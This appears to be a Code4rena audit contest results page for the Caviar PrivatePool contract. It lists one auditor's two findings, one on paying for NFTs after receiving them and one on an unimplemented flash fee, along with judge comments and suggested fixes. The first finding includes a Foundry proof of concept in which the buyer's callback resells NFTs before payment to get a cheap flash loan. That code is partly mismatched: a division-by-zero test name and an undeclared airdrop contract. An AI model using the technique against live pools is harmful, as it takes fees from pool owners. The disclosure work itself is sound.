Platform: Code4rena
Start Date: 07/04/2023
Pot Size: $47,000 USDC
Total HM: 20
Participants: 120
Period: 6 days
Judge: GalloDaSballo
Total Solo HM: 4
Id: 230
League: ETH
Rank: 4/120
Findings: 2
Award: $2,445.61
🌟 Selected for report: 1
🚀 Solo Findings: 1
🌟 Selected for report: KrisApostolov
2437.5794 USDC - $2,437.58
https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L211-L289 https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L240
The buy function's mechanism allows users to access flash loans at a lower fee cost, which could affect the pool owner's yield if users opt for it instead of flash loans.
The buy function initially transfers the NFTs to the buyer before verifying and receiving payment. This mechanism creates an opportunity for users to access flash loans that are akin to flash swaps in Uniswap.
It is worth noting that this scenario is only viable in pools with ERC20 tokens since they do not necessitate upfront payment, unlike payable functions. Additionally, it requires the flash loan fee to be greater than the combined buy and sell fees for the NFTs.
A proof-of-concept (PoC) demonstrating this scenario is provided below:
// @audit-info These are the default circumstances used by most of the tests: PrivatePool public privatePool; address baseToken = address(shibaInu); address nft = address(milady); uint128 virtualBaseTokenReserves = 100e6; uint128 virtualNftReserves = 10e18; uint16 feeRate = 1e2; uint56 changeFee = 3e6; bytes32 merkleRoot = bytes32(0); address owner = address(this); uint256[] tokenIds; uint256[] tokenWeights; PrivatePool.MerkleMultiProof proofs; IStolenNftOracle.Message[] stolenNftProofs; function setUp() public { privatePool = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle)); privatePool.initialize( baseToken, nft, virtualBaseTokenReserves, virtualNftReserves, changeFee, feeRate, merkleRoot, true, false ); deal(address(shibaInu), address(this), 2e6); // @audit-info Giving the pool 60 tokens to trade with deal(address(shibaInu), address(privatePool), 100e6); for (uint256 i = 0; i < 5; i++) { milady.mint(address(privatePool), i + 1); } assertEq(milady.balanceOf(address(privatePool)), 5, "Didn't mint 5 NFTs for some reason."); } function test_failBecauseOfDivisionBy0() public { for (uint256 i = 0; i < 5; i++) { tokenIds.push(i + 1); } (uint netInputAmount, uint feeAmount, uint protocolFeeAmount) = privatePool.buyQuote(5e18); shibaInu.approve(address(privatePool), netInputAmount); // @audit-info Trying to buy the 5 tokens present in the pool privatePool.buy(tokenIds, tokenWeights, proofs); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external override returns (bytes4) { // @audit-info Claim airdrop for the specific NFT here airdrop.claim(tokenId); // @audit-info Selling the NFT here uint[] memory _tokenIds = new uint[](1); _tokenIds[0] = tokenId; milady.approve(address(privatePool), tokenId); (uint netInputAmount, uint feeAmount, uint protocolFeeAmount) = privatePool.sellQuote(1e18); privatePool.sell(_tokenIds, tokenWeights, proofs, stolenNftProofs); return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")); }
Manual review, Foundry
Consider sending the NFTs after the funds have been received by the contract.
#0 - c4-pre-sort
2023-04-20T06:29:50Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-20T18:31:57Z
0xSorryNotSorry marked the issue as primary issue
#2 - c4-sponsor
2023-04-22T10:07:10Z
outdoteth marked the issue as sponsor acknowledged
#3 - GalloDaSballo
2023-04-30T19:06:36Z
The Warden has shown how, due to the handling of callbacks, a buy
can be viewed as a flash-swap which allows the payer to pay after using the token, effectively allowing for a cheaper flashloan if fees are set in a certain way.
#4 - GalloDaSballo
2023-04-30T19:07:48Z
Because the finding shows a way to possibly side-step fees, while maintaining the same functionality, I believe the most appropriate severity to be Medium
#5 - c4-judge
2023-04-30T19:07:52Z
GalloDaSballo marked the issue as selected for report
🌟 Selected for report: adriro
Also found by: 0xNorman, 0xRobocop, Aymen0909, ElKu, GT_Blockchain, Josiah, KrisApostolov, RaymondFam, SpicyMeatball, ToonVH, Voyvoda, anodaram, aviggiano, bin2chen, climber2002, giovannidisiena, jpserrat, minhtrng, rbserver, sashik_eth, shaka, wintermute
8.0283 USDC - $8.03
https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L748-L752
Flash loans will always be taken in a way that does not bring almost any yield to the pool’s owner.
Based on the NatSpec documentation, unused parameters, and the minimal function body, it appears that the function was not implemented as intended.
Unlike the other three fee-calculating functions, this particular function does not consider the NFT weightings and amount in its logic.
At present, the function only generates a flat changeFee
, without taking into account any information regarding the state of the reserves or the weighting of the NFT.
Manual review
Consider implementing the function in the way it was supposed to be implemented in.
#0 - c4-pre-sort
2023-04-20T15:07:58Z
0xSorryNotSorry marked the issue as duplicate of #864
#1 - c4-judge
2023-05-01T07:06:49Z
GalloDaSballo changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-05-01T07:07:12Z
GalloDaSballo marked the issue as satisfactory
#3 - c4-judge
2023-05-01T07:07:32Z
GalloDaSballo marked the issue as partial-50
#4 - c4-judge
2023-05-01T07:07:54Z
GalloDaSballo marked the issue as full credit